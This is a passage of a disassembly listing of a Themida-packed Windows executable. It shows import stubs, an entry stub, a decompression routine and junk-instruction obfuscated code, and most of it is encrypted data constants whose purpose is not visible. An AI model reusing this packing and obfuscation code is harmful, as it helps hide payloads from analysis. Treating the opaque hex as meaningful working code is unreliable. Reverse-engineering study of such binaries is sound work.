db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 _rsrc___ ends ; Section 3. (virtual address 000E0000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4E0000h a7icwCw db '7¨çwµ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 0E0050h, 0E0000h, 3 dup(0) dd 0E0079h, 0E000Ch, 3 dup(0) db 0 byte_4E0049 db 3 dup(0) ; DATA XREF: ___:004385ACo align 10h aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E1000) ; Virtual size : 000FA000 (1024000.) ; Section size in file : 000FA000 (1024000.) ; Offset to raw data for section: 000E1000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4E1000h dd 43495360h, 41179h, 54140h, 96172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E1265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0054B46B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0054E900 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0054EB76 SIZE 00000049 BYTES mov eax, 0 pusha or eax, eax jz short loc_4E1086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E1041 popa jmp short loc_4E1076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF004E10h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4E1041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_4E104E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E106D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E1074 loc_4E106D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E104E ; --------------------------------------------------------------------------- loc_4E1074: ; CODE XREF: start+57j mov edi, eax loc_4E1076: ; CODE XREF: start+1Bj jmp loc_4E1265 ; --------------------------------------------------------------------------- db 3 dd 126AB9C7h, 0CF03000Eh db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4E1086: ; CODE XREF: start+8j mov eax, offset loc_54B46B mov ecx, offset word_4E126A push eax push ecx call sub_4E111B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E1265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- aUFkxB db '(“ÉäŠx¼^',0 dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h, 3163C78Eh dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh dd 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E111B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E1127: ; CODE XREF: sub_4E111B:loc_4E113Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E1132: ; CODE XREF: sub_4E111B+7Aj ; sub_4E111B+C3j ... add dl, dl jnz short loc_4E113B mov dl, [esi] inc esi adc dl, dl loc_4E113B: ; CODE XREF: sub_4E111B+19j jnb short loc_4E1127 add dl, dl jnz short loc_4E1146 mov dl, [esi] inc esi adc dl, dl loc_4E1146: ; CODE XREF: sub_4E111B+24j jnb short loc_4E1197 xor eax, eax add dl, dl jnz short loc_4E1153 mov dl, [esi] inc esi adc dl, dl loc_4E1153: ; CODE XREF: sub_4E111B+31j jnb loc_4E1238 add dl, dl jnz short loc_4E1162 mov dl, [esi] inc esi adc dl, dl loc_4E1162: ; CODE XREF: sub_4E111B+40j adc eax, eax add dl, dl jnz short loc_4E116D mov dl, [esi] inc esi adc dl, dl loc_4E116D: ; CODE XREF: sub_4E111B+4Bj adc eax, eax add dl, dl jnz short loc_4E1178 mov dl, [esi] inc esi adc dl, dl loc_4E1178: ; CODE XREF: sub_4E111B+56j adc eax, eax add dl, dl jnz short loc_4E1183 mov dl, [esi] inc esi adc dl, dl loc_4E1183: ; CODE XREF: sub_4E111B+61j adc eax, eax jz short loc_4E118D push edi sub edi, eax mov al, [edi] pop edi loc_4E118D: ; CODE XREF: sub_4E111B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1197: ; CODE XREF: sub_4E111B:loc_4E1146j mov eax, 1 loc_4E119C: ; CODE XREF: sub_4E111B:loc_4E11B0j add dl, dl jnz short loc_4E11A5 mov dl, [esi] inc esi adc dl, dl loc_4E11A5: ; CODE XREF: sub_4E111B+83j adc eax, eax add dl, dl jnz short loc_4E11B0 mov dl, [esi] inc esi adc dl, dl loc_4E11B0: ; CODE XREF: sub_4E111B+8Ej jb short loc_4E119C sub eax, ebx mov ebx, 1 jnz short loc_4E11E3 mov ecx, 1 loc_4E11C0: ; CODE XREF: sub_4E111B:loc_4E11D4j add dl, dl jnz short loc_4E11C9 mov dl, [esi] inc esi adc dl, dl loc_4E11C9: ; CODE XREF: sub_4E111B+A7j adc ecx, ecx add dl, dl jnz short loc_4E11D4 mov dl, [esi] inc esi adc dl, dl loc_4E11D4: ; CODE XREF: sub_4E111B+B2j jb short loc_4E11C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E11E3: ; CODE XREF: sub_4E111B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E11F1: ; CODE XREF: sub_4E111B:loc_4E1205j add dl, dl jnz short loc_4E11FA mov dl, [esi] inc esi adc dl, dl loc_4E11FA: ; CODE XREF: sub_4E111B+D8j adc ecx, ecx add dl, dl jnz short loc_4E1205 mov dl, [esi] inc esi adc dl, dl loc_4E1205: ; CODE XREF: sub_4E111B+E3j jb short loc_4E11F1 cmp eax, 7D00h jnb short loc_4E1228 cmp eax, 500h jb short loc_4E1223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1223: ; CODE XREF: sub_4E111B+F8j cmp eax, 7Fh ja short loc_4E122B loc_4E1228: ; CODE XREF: sub_4E111B+F1j add ecx, 2 loc_4E122B: ; CODE XREF: sub_4E111B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1238: ; CODE XREF: sub_4E111B:loc_4E1153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E1259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1259: ; CODE XREF: sub_4E111B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E111B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E1265: ; CODE XREF: start:loc_4E1076j ; start+9Dj jmp loc_54B46B ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E126A dw 38E9h ; DATA XREF: start+77o dd 1563490h, 9222AFFAh, 1EF0FE1h, 74736552h, 41CC7261h dd 0F42EE270h, 17C2F978h, 3CA7077h, 1A31AE1h, 52AE3A84h dd 0DC21E844h, 0DE7D2303h, 1FC22445h, 0A46DE957h, 6854807Fh dd 64696D65h, 0FEC8614Dh, 1A622ACh, 0EFFE0BE1h, 0EE11122h dd 0AE101BCh, 2E98E2FBh, 0CEBBAA10h, 33B81078h, 0FA43B887h dd 0FC503DFDh, 2303DC71h, 369177D5h, 0E95D8570h, 35E640CDh dd 0EF1BE103h, 21C58BC7h, 0C2E860D4h, 0ED815D20h, 1034019Fh dd 0F5958906h, 0B50D8830h, 0C98541E9h, 0BD830121h, 71CD5h dd 0E88B0C74h, 0B84CE2E4h, 78C28F09h, 0E3244470h, 20203EB9h dd 0E8456A0Ch, 0F6829A3h, 783749Ah db 4Ah ; --------------------------------------------------------------------------- loc_4E132D: ; CODE XREF: Themida_:004E13ABj fisttp word ptr [edx] add esp, ds:0D20A894Bh aad 21h jmp near ptr 0EC981550h ; --------------------------------------------------------------------------- db 0FAh, 1 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h pop eax out dx, al pop edx or [ecx+1358DEAh], al mov ebx, edx mov dword ptr [ebp-28h], 0E630823h inc eax mov [edi], ebx or [ecx+1D80987Dh], al jz short loc_4E1370 iret ; --------------------------------------------------------------------------- dw 820h dd 93F783E4h, 120CFF10h, 36E1EB43h ; --------------------------------------------------------------------------- loc_4E1370: ; CODE XREF: Themida_:004E135Fj fsubr qword ptr [esi+61h] db 26h or cl, 0C2h add al, 80h inc esi add esp, 2D1FF7Ch dec ecx enter 0FFFF80D6h, 8Dh inc ebp or byte ptr [ebx-38D7F7A3h], 85h sbb [ecx+0A408D50h], ecx rol ebx, 1 mov ds:0B894118h, dl adc al, 81h mov ebp, 755D4006h push edx jecxz short loc_4E13CC test [ebp-7F9BE246h], ecx jnz short loc_4E132D mov cl, [esi] mov ebx, 15B92F4h mov eax, 785437ABh rcl eax, cl stc ja near ptr 0F7C35ECAh pusha scasd retn ; --------------------------------------------------------------------------- db 47h, 46h, 0A4h dd 54468C4Ah ; --------------------------------------------------------------------------- loc_4E13CC: ; CODE XREF: Themida_:004E13A3j stc inc edx rcl dword ptr [edi+61h], 1 mov al, [eax-30h] ; CODE XREF: Themida_:004E13D4j lock jmp short near ptr loc_4E13D1+1 ; --------------------------------------------------------------------------- db 14h dd 4DFC45EEh, 0AD04EB14h, 80461879h, 0BAF7403Eh, 34DC84A6h dd 0EB0C7DC3h, 0F83E217Fh, 0F0126D99h, 0F40E9509h, 0C14A0210h dd 8004F065h, 0E0D1F8D6h, 0C0C27203h, 8ADB3328h, 8039301Ch dd 0A7298FBh, 7A77390Ah, 0E4EB7D05h, 6114CF22h, 660A0DECh dd 1EDE08FEh, 0AC39DBEh, 411A1058h, 0A0B6172h, 0BD067746h dd 30014424h, 0F4ECF05Dh, 2E67D83h, 0CB07236h, 0A5766EC0h dd 0F826AACCh, 8D0E9C83h, 3B01A8D4h, 820FFC55h, 0B0BD5378h dd 387CAA83h, 0C108BAA1h, 5070C1B9h, 371CBDFCh, 30FFE80h dd 0FA754947h, 6A8B22B9h, 1101BBB8h, 823BF1FAh, 0C1026EEBh dd 3929868Eh, 705107F4h, 8B367E65h, 0DE268AB9h, 83C8E927h dd 6BDB8C59h, 4DB51EBh, 3F21173Eh, 458A03C4h, 30820525h dd 41211A09h, 0BB00C451h, 4FA80DD0h, 6761F2h, 82E4ABB9h dd 54F035EAh, 2C626B0Fh, 39150CC3h, 0D07E0078h, 0EE94CB0Ah dd 0EC0005BFh, 6B185AF6h, 19B857B7h, 0AAD8A9E3h, 0FA2524F1h dd 0E00E107Ch, 34CB8Ch, 4E398267h, 0F76305Bh, 43D511Ch dd 3B76D17Ch, 756A4661h, 93462E09h, 0EC48020Eh, 69065E4h dd 0C5847D80h, 962A8E05h, 53479A3Ch, 45C20485h, 0D718C29h dd 0BB0EE78Ch, 2BFF30AAh, 0C0047781h, 0C1341D22h, 3319F984h dd 3FBC2075h, 660A7707h, 25030EFh, 8CE2ECA9h, 0FFCC7F67h dd 453340E4h, 6094E9FAh, 52C46200h, 11254D8Ch, 0B1AA2182h dd 425AAB33h, 56241384h, 825E6000h, 81AA47EEh, 4F052184h dd 13B9AA8Ah, 97522320h, 9E98A43h, 47757800h, 60EAF3F4h dd 1E24150Ch, 181D663Fh, 4800AFE7h, 105CC915h, 2507608Ch dd 719BD482h, 1B55A33Eh, 22190B8Fh, 670E050Ch, 854AA8BCh dd 0A600DA8Dh, 813575DCh, 0E4C6A1E2h, 14D193CCh, 1B90102Bh dd 0FD8B5301h, 0F0CA0B5Ch, 19C33D86h, 0E3DA8C51h, 230AD1C8h dd 1D02F498h, 0BC008E9h, 0E3A57A76h, 98DC1548h, 7EAAEAh dd 6CEFB068h, 59C031F2h, 9AD00E01h, 3793F523h, 67EA5CC0h dd 11522D18h, 0EE91EC81h, 58FC389Bh, 506C3DCAh, 3286BC50h dd 0EA20159Ah, 71494480h, 2C12E578h, 0DA18985Fh, 821E4628h dd 2DC2C018h, 93494500h, 5C34B752h, 0C0100760h, 0AEC882DFh dd 0C65726F9h, 9AF3A080h, 5C2859BBh, 83228F34h, 0C48C3903h dd 0E9187B58h, 494F1512h, 0D804CD00h, 0DEEC4D5Bh, 885D0061h dd 7C60144Bh, 0B41C51ABh, 8240598Ah, 6631D2F7h, 84102836h dd 0DEA3322h, 0B088540Bh, 0A626B97Bh, 8500398Bh, 0C7829290h dd 0A8C003B4h, 0DCE5814Eh, 0DDAF1200h, 8C675CBAh, 505773C8h dd 0FE10F2D8h, 0B2EF0AC4h, 60D02CE7h, 171E8C3Fh, 0D561E600h dd 0B883B295h, 0AF4E1D6Fh, 0EA844643h, 0D7074E05h, 0A295FA82h dd 1108120Eh, 0FE98C31h, 920E880Bh, 0A0FD9B80h, 8103FFABh dd 0F6F874C8h, 0F1D102BBh, 0EA5B56F6h, 5A011864h, 359E07A0h dd 12C098BEh, 4FE30096h, 1982CD87h, 0B40BD695h, 204AEAE2h dd 0FA1B147Bh, 7205026Dh, 0C8D8078Ah, 595C4160h, 4F64FC01h dd 7596E354h, 7C0BC1D3h, 0B00008BEh, 0B9ACCF17h, 8A773E61h dd 848E9207h, 391CC280h, 0E2DF01C3h, 876ACCB2h, 0BD518055h dd 446C0E37h, 23D507C2h, 0E384A4B8h, 9EC94E06h, 0D23081B4h dd 63FA47DEh, 0F2512886h, 701B4156h, 0C760A739h, 65BFEC3h dd 6E3FA519h, 6D00307Ch, 4BA8B9C3h, 58D252EEh, 2F036554h dd 0A6B2F66Eh, 88571000h, 8B701350h, 43210C94h, 84596D41h dd 0AB44D21Dh, 5A318701h, 93D478CEh, 8C290183h, 7D136F43h dd 2E980D0h, 71035647h, 775F02B8h, 7E998320h, 0AFFF8490h dd 2AC44C00h, 0A3EC0FD8h, 47FA3027h, 0A89874E8h, 9232E0FFh dd 5A7FB400h, 4367A34Dh, 58454Eh, 0EEF913ACh, 0A8FD5700h dd 0BCF50D63h, 0DAFA0C68h, 9C38A6D3h, 85898A0Eh, 65FC80ACh dd 50809B66h, 184344D8h, 78B8DAEAh, 7405E5FCh, 0DDAAEED6h dd 0C8D7880Dh, 677611C8h, 0C55051h, 0D2F3B813h, 0DB2A8E18h dd 3743F428h, 0DE49E622h, 3370F3C3h, 8EEBA8C0h, 28A5EA31h dd 38BCFF3Fh, 7D30A9A0h, 0BD6B89D7h, 0B70F3CA5h, 0E7310500h dd 0B84AC106h, 8C733F05h, 0F207CC54h, 2019762Fh, 6B682738h dd 58B72AF0h, 47BD0ADCh, 3EF87B96h, 0E002EE8Ch, 0C918C468h dd 3F3966E4h, 6BE32A86h, 0D4CF00A4h, 7E25FBF8h, 0DEA047B4h dd 86059BF4h, 0D6C98427h, 7C2F1C03h, 0DFB100C3h, 0CD14A132h dd 6E00866Dh, 49E43CA0h, 1D28CAEh, 0FA38F7C5h, 48596A12h dd 0C60987C4h, 10F35184h, 607B4350h, 0FE838963h, 6A65C612h dd 0F421E330h, 8EF02766h, 0B6CF0098h, 3D39AAEAh, 476132FEh dd 0EE7017F9h, 0E1A96840h, 3C79012Ch, 35E065C9h, 9A43D61Ah dd 0B39A5802h, 80C1528Eh, 464A538Ch, 0ED98A109h, 83BE4EF0h dd 0B8F077F3h, 4860A899h, 2AFE6459h, 48A2608Dh, 212509F9h dd 13B0C803h, 0A8D851BCh, 600A47DFh, 8FF05014h, 0A63AC8E9h dd 99900F78h, 0FA29A001h, 0ADF34Eh, 0B8702165h, 0BDF3A2Bh dd 0A88FC000h, 1501371Dh, 0F9121D4Dh, 8519007Fh, 5C1E625Dh dd 1B0BFB07h, 0BA815EC4h, 0EEF08432h, 989E3C44h, 0EDEABD80h dd 15A8B7C0h, 0AC69400h, 6481DF4h, 0B22D3D50h, 84CBA4h dd 0BFA59D16h, 8200C9E9h, 61C71BF4h, 92D8EAF6h, 646C1D4Ch dd 0B998550h, 0AC804079h, 0A4A03432h, 3612D17Ch, 7C048215h dd 0FC015DB2h, 405F77DAh, 6D7C390h, 1A18A360h, 805E9231h dd 0FA09030Bh, 235D522Ah, 0E572EFA8h, 0C1410h, 552F7AADh dd 0A3766657h, 0CBD2D8A8h, 9E8902F3h, 208E4FA6h, 4582846Bh dd 5F401829h, 0CF60008Fh, 67033590h, 0ED0944F3h, 0E6D1B16h dd 6F3A461Ch, 780B3040h, 5062FDE1h, 40A80509h, 605404D6h dd 0BC3EF440h, 0A9398C30h, 683A818Ah, 3FBEE58Eh, 48926AC9h dd 0FF340437h, 974D0455h, 643014C5h, 99C57B6h, 6BD3C11Bh dd 2524700h, 20B1D6CCh, 31432F03h, 0B348101Ch, 6D9B136Eh dd 0DEEE2420h, 20DD81AAh, 43116B7Ch, 84035144h, 69FFCAFAh dd 0D6C28109h, 0CB48A056h, 6026DFA3h, 0DE9B10A5h, 12630A3Fh dd 0A1BABEB8h, 498C5949h, 0D491620Bh, 260032B8h, 34073FAh dd 0E27B216Eh, 0D95900D1h, 47DD1A16h, 48C07246h, 0B6AB262h dd 0D7801213h, 0E3EC4653h, 931F5955h, 5A804503h, 6125366Dh dd 0B053FB9h, 0E0D7F414h, 180C288h, 3D3EB26Ch, 44BF0C13h dd 5149F346h, 9C5BF42Ch, 17C1262h, 0C6CAEE63h, 58049086h dd 28BF122h, 8016F96Ch, 6C4830DDh, 7544EBCCh, 0A611141Ah dd 45019CB6h, 4706F2Fh, 0FB8460AFh, 0D24391C1h, 0DC64A10Ah dd 5FDD8856h, 479C620h, 7838FED7h, 0CDA08353h, 0E3393Ah dd 0BF39D184h, 586A7368h, 9710508Eh, 0EF90257h, 0A7062972h dd 0F661F4F8h, 4434A87Ah, 9E3A1543h, 7E18E44Bh, 4D2D59C4h dd 10F81CE4h, 0CC167426h, 47109828h, 8A007AE2h, 8EF8E390h dd 6200F43Fh, 8B6FDE26h, 88475A9Eh, 0BE00F70Bh, 17C2A82h dd 0F61AEA2h, 1DA59E92h, 38852602h, 0F50F08CCh, 1213BF43h dd 480EDC04h, 0A84CF810h, 3C1622C7h, 3718DEB1h, 4B900F95h dd 0AC72248Eh, 854F8D60h, 0A2903019h, 12C1C340h, 5E104537h dd 6D0722CCh, 8DE95C4Ah, 92EAA16Eh, 0F0A89DC3h, 4FC62000h dd 2DE8348h, 928ED59Bh, 4D70E8CFh, 0BED20901h, 14221A5Fh dd 18645A82h, 58A7B800h, 873ECE06h, 8FE60012h, 4E227D6h dd 6C0521A4h, 4EFEBE08h dd 6084F489h, 4BC9F86h, 0F0894743h, 0F8AD5810h, 0FBA00196h dd 29D24D99h, 5A884194h, 0D4798042h, 0C7B102EFh, 0E350368h dd 9FF42BBFh, 2F24AD90h, 0D8666D00h, 76F26EAAh, 0C1494B5h dd 2141435Ah, 0C68A0700h, 0D01D6977h, 819004Ah, 0BD603CC0h dd 7C284315h, 77454C52h, 5F40E21h, 9F9B0985h, 49818148h dd 805AF851h, 57BFA59h, 359BF325h, 81392A0Bh, 5726C4h dd 18022EB6h, 10475631h, 6E00E6C7h, 0F97B4EE9h, 0A4D7CC01h dd 0F74A084h, 2B158058h, 485048DEh, 77AEB700h, 0FB545305h dd 54A28CA4h, 16E7BFC0h, 368ED612h, 0E3F55481h, 0D17AD3h dd 0BBC21364h, 0CAE04EC4h, 2C563D00h, 0FAC5FE0Bh, 5F4B0315h dd 3AF65416h, 0F5505800h, 4085DF38h, 80983B66h, 9C83A448h dd 0CDDBEE4Bh, 0B82690Ch, 7FB4C17Dh, 4E95008Dh, 9BEAA96Bh dd 0EFE2C207h, 5CD9301h, 6187D980h, 45D22834h, 0C7D6F167h dd 0C4E36129h, 0DF22AE00h, 0ACF4Ah, 70C48230h, 0C0D526AAh dd 6E57DE09h, 0C4500819h, 0FA5F5502h, 0DD088069h, 8462663Fh dd 0C9AF9488h, 6083AC34h, 4D52F081h, 0B6DAFE00h, 0F2408094h dd 50C1FC10h, 0A29F02Fh, 839BBAB3h, 5BDB08D0h, 0F6D2F303h dd 6C91ECE8h, 0C714697Bh, 47C8143Ch, 884C1A47h, 0F17F600Ch dd 2B2293DBh, 3C005871h, 0D8B69506h, 769B027Eh, 0D4FC1Ch dd 8E2DB33Bh, 17F2684Dh, 60FF3237h, 84B26684h, 0EC80D850h dd 21C61EB1h, 6B594081h, 1A7168F2h, 0C4A5CE26h, 30A3DA08h dd 48337018h, 807BBB00h, 499058EAh, 5141655Ah, 99CB00F9h dd 0E92B6871h, 3800F471h, 6EE0DE9Fh, 50DA317Ah, 0EA4380B3h dd 594760F2h, 0BD9BE67Dh, 21C9F800h, 23CD64Ah, 9668E427h dd 0DDCE40F8h, 20FA960Fh, 6CBD9D05h, 980493B9h, 0F20BAB12h dd 0E06B9801h, 0D90C20F9h, 44E4A444h, 0D2005655h, 0F17E91AEh dd 8772Fh, 1239FA71h, 4DE3F450h, 0E14129CFh, 9EA5F5C2h dd 0E73F30h, 800CDB21h, 259B6323h, 1EA26002h, 40AE856Ah dd 805327E0h, 1800B655h, 76E375CCh, 53D80229h, 0B0880462h dd 16839880h, 81AA7h, 1F74E541h, 0FBAF9CC8h, 18A15730h dd 30AD63D8h, 4840D969h, 2CB84556h, 0B2ACD60Ch, 1775906h dd 0D25D7E7Dh, 0F10EA644h, 0C694F043h, 0C165350Fh, 1DF966BDh dd 0B0ED1D38h, 23714F74h, 83E98987h, 1043193Ch, 31320430h dd 66C00413h, 1098525h, 0A668C281h, 3076B2F3h, 0E5185D89h dd 0BBB87C7Fh, 1E427852h, 0C9DF3Bh, 2800638h, 0E600CD3Ah dd 0D662DE1h, 1B0CF9FDh, 2997E543h, 9FDAB6E1h, 68805FC8h dd 0D049D299h, 46BD0D2Ah, 8890E9D4h, 0E1A84A8h, 0A6A1F189h dd 0D253F0BDh, 8A648F41h, 8274390h, 0A1EDE142h, 88E8E7BCh dd 0DF0A41BCh, 81C42CE5h, 1D44D56Ah, 0F79181AFh, 0ECE85681h dd 0C6667880h, 0A31D5C41h, 0D2A21C1h, 599E6155h, 0BE818A27h dd 9B928518h, 18E05D5Bh, 0E5E0A8DFh, 317181EFh, 0F0A3862Ch dd 0D938AC53h, 2D0A720h, 0BB9706EFh, 40A45393h, 0B422790Ah dd 0AA89F468h, 0E22411D5h, 0EA080882h, 78C366EDh, 851587E0h dd 63DA2E03h, 0D971A661h, 0B98A27F5h, 54CEBAFh, 43F149D4h dd 0BEA7D1A0h, 0EA78D103h, 0A334663Dh, 5D40A025h, 438200FFh dd 0D88AE49Ch, 46EE7DBh, 63469E91h, 1103B0h, 20DCC78Ch dd 4FE7E054h, 102F61CCh, 803054E5h, 16180297h, 5B0D5F77h dd 0ED18F48Dh, 1A285B6Ah, 1E181F77h, 98111828h, 65555868h dd 13F094A8h, 38CBC803h, 0A0DB421Ah, 0ABD68316h, 0E36CC8A4h dd 0F58A5814h, 0CCCB4043h, 0D786BB83h, 0F3958h, 0B3D88CA2h dd 30170592h, 0B4912F1Ah, 4C90EF32h, 31DD0098h, 0E0583C2Bh dd 0A45B54E8h, 94412472h, 76304C3Ch, 344AF789h, 3B5E5488h dd 8FBB89D3h, 0B4B5B18Eh, 0CAD10A6Ch, 11429A00h, 97DCD78Ch dd 489251AAh, 4723BC1Eh, 60AF6361h, 247BE424h, 508DDD8h dd 4F0FE7DFh, 431268A8h, 645A0D7Ch, 0D4A16119h, 0F608BAA9h dd 0CD18188h, 0DC852BD3h, 21005B71h, 4B44D82Fh, 4ECB272h dd 0B4A7DB06h, 40D08554h, 22817170h, 0DF181FB1h, 0AA811EE6h dd 0EFDB3EAFh, 0F9292056h, 0CCE105BCh, 8FA004BCh, 0EC9C8226h dd 0C1D8A043h, 0F1900A70h, 10077424h, 38C2518Ch, 1DEADFh dd 0E8904F7h, 0BE2FAF12h, 48217439h, 66C4003Ah, 0C844F750h dd 223100ABh, 0D37A027Bh, 98013CEFh, 8E1D0E1Eh, 2AF04B07h dd 70220741h, 906634D0h, 0E72FCB0Dh, 0CEF45400h, 7A3B25BDh dd 40CC600Eh, 0D119206h, 134BA083h, 2757001Bh, 80302270h dd 0D7007A50h, 88F74C29h, 1F21AF0Ah, 4476B3Bh, 8011A9D6h dd 0FB1D037Ch, 148C1302h, 0C427551Bh, 5D048D7Ch, 8A80F84Ah dd 1128D0Ah, 3FD89057h, 488037C3h, 96EDF7Ah, 0DB7781F5h dd 2293B3Dh, 0F0C8CC50h, 3174C01Dh, 7E23043h, 54AF2F40h dd 6922A500h, 0D47D506Ch, 0E85A0029h, 39BDD6EFh, 0E400DD62h dd 9E6CE1Ch, 40C5159Eh, 0C108F1Eh, 0D0005418h, 0B517B69h dd 480029CBh, 0B0CF8D8Ch, 17670CDh, 0FA021050h, 0D8089E0Dh dd 0C500E743h, 46040C83h, 9CEC054h, 9517A26h, 8B613884h dd 0F880AE94h, 2E208A13h, 6F4822EEh, 50007154h, 4129CE0Bh dd 